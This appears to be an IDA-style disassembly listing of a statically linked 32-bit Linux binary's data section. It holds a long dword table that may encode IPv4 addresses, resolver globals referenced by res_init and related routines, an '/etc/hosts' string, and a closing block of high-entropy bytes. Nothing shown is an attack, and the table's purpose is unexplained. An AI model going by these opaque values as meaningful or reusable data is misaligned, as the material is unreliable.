		dd 264FBD8h, 180FBD8h, 280FBD8h, 0C8E1FBD8h, 0C9E1FBD8h
		dd 6420FBD8h, 6520FBD8h, 0B40FBD8h, 0C40FBD8h, 900FED8h
		dd 0A5B5FED8h, 446C1AD8h, 456C1AD8h, 1801AD8h, 1811AD8h
		dd 157820D8h, 967E20D8h, 0A4A20D8h, 466C21D8h, 685721D8h
		dd 695721D8h, 64025D8h,	74025D8h, 26026D8h, 36026D8h, 8C227D8h
		dd 9C227D8h, 0F6529D8h,	116529D8h, 0C88029D8h, 498029D8h
		dd 1A029D8h, 2A029D8h, 0DC029D8h, 0EC029D8h, 2E029D8h
		dd 10142CD8h, 64602ED8h, 65602ED8h, 0B802FD8h, 0AFD605D8h
		dd 3D605D8h, 10134D8h, 210134D8h, 221334D8h, 24037D8h
		dd 25037D8h, 28039D8h, 18239D8h, 4983AD8h, 6983AD8h, 0C4A63CD8h
		dd 1C53CD8h, 0C8C53CD8h, 2823DD8h, 48E3DD8h, 58E3DD8h
		dd 0FC8F3DD8h, 0FD8F3DD8h, 1903DD8h, 1A43DD8h, 2B83DD8h
		dd 64C03DD8h, 2DA3DD8h,	3DA3DD8h, 5DB3DD8h, 5173DD8h, 22C3DD8h
		dd 0A3441D8h, 33441D8h,	640144D8h, 640244D8h, 143F44D8h
		dd 4BA007D8h, 11554DD8h, 16554DD8h, 67F4FD8h, 2904FD8h
		dd 0FE994FD8h, 2464FD8h, 0C88051D8h, 0C98051D8h, 436051D8h
		dd 446051D8h, 0D0052D8h, 0F0052D8h, 80052D8h, 0FAA053D8h
		dd 0FAA153D8h, 3D555D8h, 3DA056D8h, 3EA056D8h, 5E556D8h
		dd 214056D8h, 224056D8h, 0C50057D8h, 0C4057D8h,	27059D8h
		dd 4DF59D8h, 2E259D8h, 3E259D8h, 1305AD8h, 2305AD8h, 27F5BD8h
		dd 37F5BD8h, 5915BD8h, 0E9C5BD8h, 0B105BD8h, 0C105BD8h
		dd 0BAC5BD8h, 0CAC5BD8h, 0E7AE5BD8h, 0E8AE5BD8h, 1C05BD8h
		dd 2C05BD8h, 2025BD8h, 0A1B5BD8h, 1C385BD8h, 1D385BD8h
		dd 2525BD8h, 0F8575BD8h, 0F9575BD8h, 3F95FD8h, 4F95FD8h
		dd 0AB462D8h, 0BB462D8h, 0C4062D8h, 44062D8h, 1C163D8h
		dd 13C163D8h, 1EE163D8h, 1FE163D8h, 13863D8h, 143863D8h
		dd 3E071D9h, 201C6D9h, 0C99621D9h, 0CE9621D9h, 1E049D9h
		dd 63E849D9h, 1B000018h, 0FE1F7018h, 2207018h, 22A7818h
		dd 32A7818h, 56707B18h,	50018018h, 51018018h, 52018018h
		dd 67008118h, 42008118h, 2B018218h, 0A668E18h, 14668E18h
		dd 0D169918h, 8D169918h, 0A0A9B18h, 40C1A118h, 41C1A118h
		dd 1B000218h, 261CD518h, 4D3CD518h, 4E3CD518h, 96CD818h
		dd 0B04DB18h, 0D804DB18h, 31EDD18h, 41EDD18h, 35FDD18h
		dd 45FDD18h, 0B01E218h,	1401E218h, 1501E218h, 2A01E218h
		dd 2E01E218h, 5A01E218h, 500EA18h, 0F18DF018h, 2618F718h
		dd 1C31918h, 3C31918h, 40E31918h, 42E31918h, 3C81E18h
		dd 3C91E18h, 32B3018h, 0C33F4018h, 0D43F4018h, 0C3FD4318h
		dd 0D4FD4318h, 0C3FF4518h, 0D4FF4518h, 0BE25C18h, 0ACE25C18h
		dd 0ADE25C18h, 0AEE25C18h, 4602FE20h, 11866020h, 35EF6120h
		dd 29020823h, 2A020823h, 0FE22B226h, 0CA85DB26h, 5581E726h
		dd 26FF426h, 2BD0826h, 2300826h, 2050826h, 2320826h, 25C0826h
		dd 25D0826h, 25E0826h, 25F0826h, 2600826h, 2720926h, 2730926h
		dd 2740926h, 2870926h, 2880926h, 2890926h, 4100104h, 4B81104h
		dd 20B1204h, 30B1204h, 8871204h, 458C1204h, 2941204h, 3941204h
		dd 0A5A61204h, 8230204h, 2310204h, 3310204h, 4310204h
		dd 22AD1504h, 5AD1504h,	1ECC1504h, 1012128h, 31E8034h
		dd 0A017A35h, 0A027A35h, 417D8C35h, 427D8C35h, 8716C037h
		dd 0B480038h, 0B600038h, 2020039h, 2030039h, 0C2130C39h
		dd 0C3130C39h, 0C27F4239h, 0C27F4439h, 0C27F4639h, 500003Dh
		dd 900003Dh, 2CF753Dh, 3CF753Dh, 270783Dh, 6497783Dh, 76D6793Dh
		dd 92807A3Dh, 2807A3Dh,	0BA00C23Dh, 0D400C23Dh,	220FC23Dh
		dd 0FC02C23Dh, 0E1F8C23Dh, 0E23AC83Dh, 38CCA3Dh, 1D5CC3Dh
		dd 540CD3Dh, 640CD3Dh, 2296D03Dh, 0EABDD03Dh, 0F2D1D03Dh
		dd 0D6BDD53Dh, 9A60DA3Dh, 39FDC3Dh, 49FDC3Dh, 0B2C5DC3Dh
		dd 641EDE3Dh, 1FC243Dh,	1E834E3Dh, 0D80093Dh, 1080093Dh
		dd 2880093Dh, 0DC0093Dh, 3E01013Eh, 5C01013Eh, 1440683Eh
		dd 41016C3Eh, 42016C3Eh, 11A0C3Eh, 2A01803Eh, 3501803Eh
		dd 1020E3Eh, 22E8A13Eh,	460A83Eh, 1D89B63Eh, 1E89B63Eh
		dd 0FA20023Eh, 520023Eh, 101CC3Eh, 47A3173Eh, 48A3173Eh
		dd 2450E83Eh, 0D07183Eh, 9486F53Eh, 202FA3Eh, 4BDC243Eh
		dd 100513Eh, 0C510513Eh, 1005E3Eh, 2005E3Eh, 4280603Eh
		dd 0FA2A643Fh, 1425693Fh, 0F8856A3Fh, 0C996A3Fh, 6886C3Fh
		dd 658723Fh, 229793Fh, 8A69883Fh, 9008C3Fh, 0FEF08C3Fh
		dd 33E9913Fh, 51EC913Fh, 0A2D923Fh, 22D923Fh, 22E923Fh
		dd 0F7B943Fh, 0E225953Fh, 2436953Fh, 8518A03Fh,	1F39A23Fh
		dd 220A43Fh, 620A43Fh, 220A53Fh, 3C06A53Fh, 3D06A53Fh
		dd 3E06A53Fh, 0E68EA73Fh, 122DA73Fh, 1A2DA73Fh,	0F069A83Fh
		dd 507A83Fh, 21CA93Fh, 3E26A93Fh, 0B46BAB3Fh, 0B56BAB3Fh
		dd 0F03CAC3Fh, 4BEAD3Fh, 5BEAD3Fh, 5E2AD3Fh, 23BAE3Fh
		dd 168CC23Fh, 5A1D23Fh,	0AF3D23Fh, 0BF3D23Fh, 0BF4D23Fh
		dd 0C429D33Fh, 0C629D33Fh, 156D33Fh, 256D33Fh, 4270D83Fh
		dd 801FA3Fh, 340FA3Fh, 440FA3Fh, 1448413Fh, 1E48413Fh
		dd 0EFF3463Fh, 0ABE473Fh, 0FBE473Fh, 46E4473Fh,	0FA52473Fh
		dd 0FC52473Fh, 0D83493Fh, 0E83493Fh, 82A0493Fh,	2A0493Fh
		dd 844C503Fh, 20C4523Fh, 0FBE1533Fh, 42CF583Fh,	12F6840h
		dd 12E0C40h, 51AB0F40h,	2889D40h, 0C416A240h, 2EA1140h
		dd 34C1340h, 3AFFC540h,	42FFC540h, 84F00240h, 0B99D040h
		dd 8708D040h, 5C01540h,	6C01540h, 0AA66D440h, 87BED540h
		dd 10E1D640h, 8414E040h, 8514E040h, 8614E040h, 0AACE840h
		dd 0BACE840h, 0B84EF40h, 1339EF40h, 2039EF40h, 8C4DF240h
		dd 4E2F340h, 0C22F340h,	0D22F340h, 222F340h, 0E14F540h
		dd 8219F540h, 0E2BF540h, 4280FE40h, 1461FE40h, 17001A40h
		dd 2261A40h, 2C11C40h, 28B1E40h, 0A8E21E40h, 0AAE21E40h
		dd 0AC02840h, 0CC02840h, 2DAE2940h, 96112A40h, 3802E40h
		dd 4802E40h, 4013140h, 2820540h, 3820540h, 0A803240h, 2803240h
		dd 6803240h, 32D0640h, 52D0640h, 2013D40h, 3013D40h, 2C44140h
		dd 2D04140h, 2DF4140h, 14C04240h, 15C04240h, 1C884440h
		dd 64A84540h, 0A044540h, 0B044540h, 8C2C4540h, 4494540h
		dd 0FEC85040h, 0FAFF5040h, 0FBFF5040h, 23E5440h, 0AD65640h
		dd 19D65640h, 1AD65640h, 0CDA05940h, 0CC45E40h,	0A10C5F40h
		dd 0A20C5F40h, 0B10C5F40h, 0B20C5F40h, 0A445F40h, 96455F40h
		dd 64E5F40h, 6196B41h, 0A007841h, 2007841h, 66307841h
		dd 67307841h, 488A041h,	3BEA041h, 326DA141h, 273A141h
		dd 2B1A141h, 133A141h, 733A141h, 2234A141h, 3C0A241h, 0F50A241h
		dd 3A9A341h, 128A441h, 290AA41h, 310AB41h, 410AB41h, 0F84AC41h
		dd 25EAE41h, 0FDFEC241h, 0FEFEC241h, 282C541h, 397C641h
		dd 497C641h, 256D141h, 354D641h, 454D641h, 0FEBFD741h
		dd 41012041h, 46012041h, 2EC2A41h, 10D4441h, 1F87242h
		dd 2F87242h, 58C7642h, 1C87742h, 0F8C97742h, 44808742h
		dd 1009242h, 140AA42h, 0D40AA42h, 0A98B242h, 1B85BB42h
		dd 100C442h, 900C442h, 8A8C1C42h, 0F1392242h, 1FD92642h
		dd 20D92642h, 1B892B42h, 23362E42h, 424D2E42h, 8F0F0742h
		dd 900F0742h, 2A184D42h, 91A4D42h, 23C4E42h, 2D46143h
		dd 82E05150h, 11065150h, 3075150h, 37C05B50h, 73C25B50h
		dd 0
dword_80784F4	dd 0			; DATA XREF: setenv+13Cr setenv+145r ...
dword_80784F8	dd 0			; DATA XREF: init_services_resolv+E0Fw
					; sub_804BEB0+6r ...
aEtcHosts	db '/etc/hosts',0       ; DATA XREF: sub_804C538+11o
					; sub_804C5A4+13o
		align 4
dword_8078508	dd 0			; DATA XREF: sub_804C538+3r
					; sub_804C538+1Bw ...
dword_807850C	dd 0			; DATA XREF: sub_804C538+32w
					; sub_804C574+Cr
dword_8078510	dd 0			; DATA XREF: init_services_resolv+45Aw
					; init_services_resolv+4A7w ...
dword_8078514	dd 0			; DATA XREF: init_services_resolv+59Ew
					; init_services_resolv+5EBw ...
dword_8078518	dd 0			; DATA XREF: init_services_resolv+6E2w
					; init_services_resolv+72Fw ...
dword_807851C	dd 0			; DATA XREF: init_services_resolv+826w
					; init_services_resolv+873w ...
dword_8078520	dd 0			; DATA XREF: dotrimdomain+Br
					; dotrimdomain+78r ...
dword_8078524	dd 0FFFFFFFFh		; DATA XREF: reorder_addrs+Cr
					; reorder_addrs+23r ...
dword_8078528	dd 1			; DATA XREF: _getnishost+60r
					; _getnishost+8Ew
dword_807852C	dd 0			; DATA XREF: _getnishost+Fr
					; _getnishost+18o ...
dword_8078530	dd 0FFFFFFFFh		; DATA XREF: sub_804EA0C+1C2r
					; sub_804EA0C+1D8r ...
dword_8078534	dd 0			; DATA XREF: sub_804EA0C+4EFw
					; sub_804EA0C+517r ...
dword_8078538	dd 0			; DATA XREF: sub_804EA0C+1CBr
					; sub_804EA0C+270w ...
dword_807853C	dd 0			; DATA XREF: sub_804E6D8+6w
					; sub_804EA0C+10Cr ...
dword_8078540	dd 0			; DATA XREF: sub_804E6E8+6w
					; sub_804EA0C+9D2r ...
dword_8078544	dd 0			; DATA XREF: res_init+34r res_init+3Dw ...
dword_8078548	dd 0			; DATA XREF: res_init+47r res_init+50w ...
dword_807854C	dd 0			; DATA XREF: init_services_resolv+1FCr
					; init_services_resolv+AC6r ...
dword_8078550	dd 0			; DATA XREF: res_init+9Ew
					; res_init+663w ...
dword_8078554	dd 0			; DATA XREF: res_init+8Cw
					; res_init+43Aw ...
dword_8078558	dd 0			; DATA XREF: res_init+82w
					; res_init+434w ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
word_8078584	dw 0			; DATA XREF: res_init+6Dr res_init+7Cw ...
		db 2 dup(0)
dword_8078588	dd 0			; DATA XREF: res_init+F2w
					; res_init+322w ...
dword_807858C	dd 0			; DATA XREF: res_init+FCo
					; res_init+32Co ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_80785A0	db    0	;		; DATA XREF: res_init+110o
					; res_init+33Co
		db    0	;  
		db    0	;  
		db    0	;  
byte_80785A4	db 0			; DATA XREF: res_init+DDo res_init+EDo ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_80786A4	dd 0			; DATA XREF: res_init+B6w
					; sub_804EA0C+8FAr ...
byte_80786A8	db 0			; DATA XREF: getanswer+635r
					; sub_804CBE4+33r ...
		db 3 dup(0)
unk_80786AC	db    0	;		; DATA XREF: sub_804CBE4+5Fr
					; sub_804CBE4+CBr ...
		db    0	;  
		db    0	;  
		db    0	;  
unk_80786B0	db    0	;		; DATA XREF: sub_804CBE4+59r
					; sub_804CBE4+C5r ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_80786FC	db  88h	; ┬		; DATA XREF: fclose+58o
		db  20h	;  
		db 0ADh	; ґ
		db 0FBh	; Ш
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ch	; ,
		db  90h	; ░
		db    7	;  
		db    8	;  
unk_8078750	db  84h	; └		; DATA XREF: sub_804EA0C+4Co
					; sub_804EA0C+56o ...
		db  20h	;  
		db 0ADh	; ґ
		db 0FBh	; Ш
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FCh	; Э
		db  86h	; ├
		db    7	;  
		db    8	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ch	; ,
		db  90h	; ░
		db    7	;  
		db    8	;  
unk_80787A4	db  86h	; ├		; DATA XREF: init_services_resolv+2B2o
					; init_services_resolv+2D8o ...
		db  20h	;  
		db 0ADh	; ґ
		db 0FBh	; Ш
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  50h	; P
		db  87h	; ┤
		db    7	;  
		db    8	;  
		db    2	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ch	; ,
		db  90h	; ░
		db    7	;  
		db    8	;  
off_80787F8	dd offset unk_80787A4	; DATA XREF: sub_8061788+Bo
					; sub_8061788+10r ...
unk_80787FC	db    0	;		; DATA XREF: sub_804F820+1Ao
					; sub_80628A8+1Ao
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A8h	; ╗
		db  31h	; 1
		db    5	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  58h	; X
		db  2Fh	; /
		db    5	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  78h	; x
		db  30h	; 0
		db    5	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ch	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db  31h	; 1
		db    5	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ch	; ,
		db  1Ch	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ch	; L
		db  1Dh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E4h	; Д
		db  30h	; 0
		db    5	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C8h	; х
		db  1Eh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  44h	; D
		db  1Eh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db  1Fh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ECh	; Л
		db  1Eh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db  24h	; $
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C4h	; д
		db  24h	; $
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A0h	; ═
		db  24h	; $
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db  1Fh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ACh	; ╛
		db  24h	; $
		db    6	;  
		db    8	;  
dword_807888C	dd 0			; DATA XREF: vfprintf+2FF4r
					; vfprintf+300Er ...
dword_8078890	dd 806A9E4h		; DATA XREF: vfprintf+60Br
					; vfprintf+64Cr ...
dword_8078894	dd 0FFFFFFFFh		; DATA XREF: sub_8054E54+7r
					; sub_8054E54+12w ...
dword_8078898	dd 0			; DATA XREF: sub_8054E54+2Aw
					; sub_8054EC8+4Fr ...
dword_807889C	dd 8067F8Ch		; DATA XREF: sub_8054E54+34w
					; sub_8054EC8+57r ...
dword_80788A0	dd 8			; DATA XREF: sub_8054E54+3Ew
					; sub_8054EC8+6Dr ...
dword_80788A4	dd 0FFh			; DATA XREF: sub_8054E54+48w
					; sub_8054EC8+20r ...
dword_80788A8	dd 0			; DATA XREF: sub_8055D38+6Br
		db    7	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Fh	; ?
		db    0	;  
		db    0	;  
		db    0	;  
dword_80788BC	dd 0			; DATA XREF: sub_8055D38+77r
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  25h	; %
		db 0F6h	; Ж
		db  38h	; 8
		db 0CDh	; м
		db 0ECh	; Л
		db  91h	; ▒
		db  63h	; c
		db 0FDh	; Щ
		db  7Ah	; z
		db  64h	; d
		db    4	;  
		db  87h	; ┤
		db 0C6h	; ф
		db  5Fh	; _
		db 0DDh	; щ
		db  52h	; R
		db  5Ch	; \
		db 0A0h	; ═
		db    7	;  
		db  8Eh	; ▌
		db  11h	;  
		db  32h	; 2
		db  0Eh	;  
		db 0E3h	; Ц
		db  0Ah	;  
		db 0F7h	; В
		db  68h	; h
		db  75h	; u
		db  9Bh	; ⌡
		db  74h	; t
		db  33h	; 3
		db 0A1h	; ║
		db 0FFh	;  
		db  19h	;  
		db  20h	;  
		db  8Ch	; ▄
		db 0B8h	; ╦
		db    7	;  
		db  2Dh	; -
		db  1Bh	;  
		db 0A0h	; ═
		db 0D3h	; с
		db  47h	; G
		db  1Eh	;  
		db  85h	; ┘
		db  51h	; Q
		db 0CEh	; н
		db  99h	; ≥
		db 0A3h	; ё
		db  49h	; I
		db  54h	; T
		db  6Bh	; k
		db 0D7h	; в
		db 0F6h	; Ж
		db 0E0h	; Ю
		db  87h	; ┤
		db 0D3h	; с
		db  54h	; T
		db    4	;  
		db  27h	; '
		db 0E6h	; Ф
		db  4Bh	; K
		db  83h	; ┐
		db 0BBh	; ╩
		db 0D2h	; р
		db  7Eh	; ~
		db  61h	; a
		db 0A8h	; ╗
		db    8	;  
		db  4Ch	; L
		db 0DBh	; ш
		db 0BBh	; ╩
		db  7Dh	; }
		db  4Ah	; J
		db 0FDh	; Щ
		db 0B0h	; ╟
		db 0A3h	; ё
		db  30h	; 0
		db  8Ah	; ┼
		db 0A2h	; ╒
		db    6	;  
		db 0CBh	; к
		db    0	;  
		db  4Ch	; L
		db  29h	; )
		db  29h	; )
		db 0CAh	; й
		db 0DBh	; ш
		db  2Ah	; *
		db 0B2h	; ╡
		db 0B8h	; ╦
		db 0F3h	; С
		db  38h	; 8
		db  7Dh	; }
		db 0DBh	; ш
		db  9Ah	;  
		db  1Fh	;  
		db  59h	; Y
		db 0F1h	; Я
		db  58h	; X
		db  18h	;  
		db  7Eh	; ~
		db 0E8h	; Х
		db 0A4h	; є
		db  78h	; x
		db  33h	; 3
		db  41h	; A
		db 0C7h	; г
		db  7Bh	; {
		db 0D3h	; с
		db 0BAh	; ╨
		db 0F4h	; Т
		db  22h	; "
		db 0EDh	; М
		db  98h	; ≤
		db  15h	;  
		db  47h	; G
		db  7Fh	; 
		db 0EFh	; О
		db  54h	; T
		db  29h	; )
		db  88h	; ┬
		db  8Fh	; ▐
		db  79h	; y
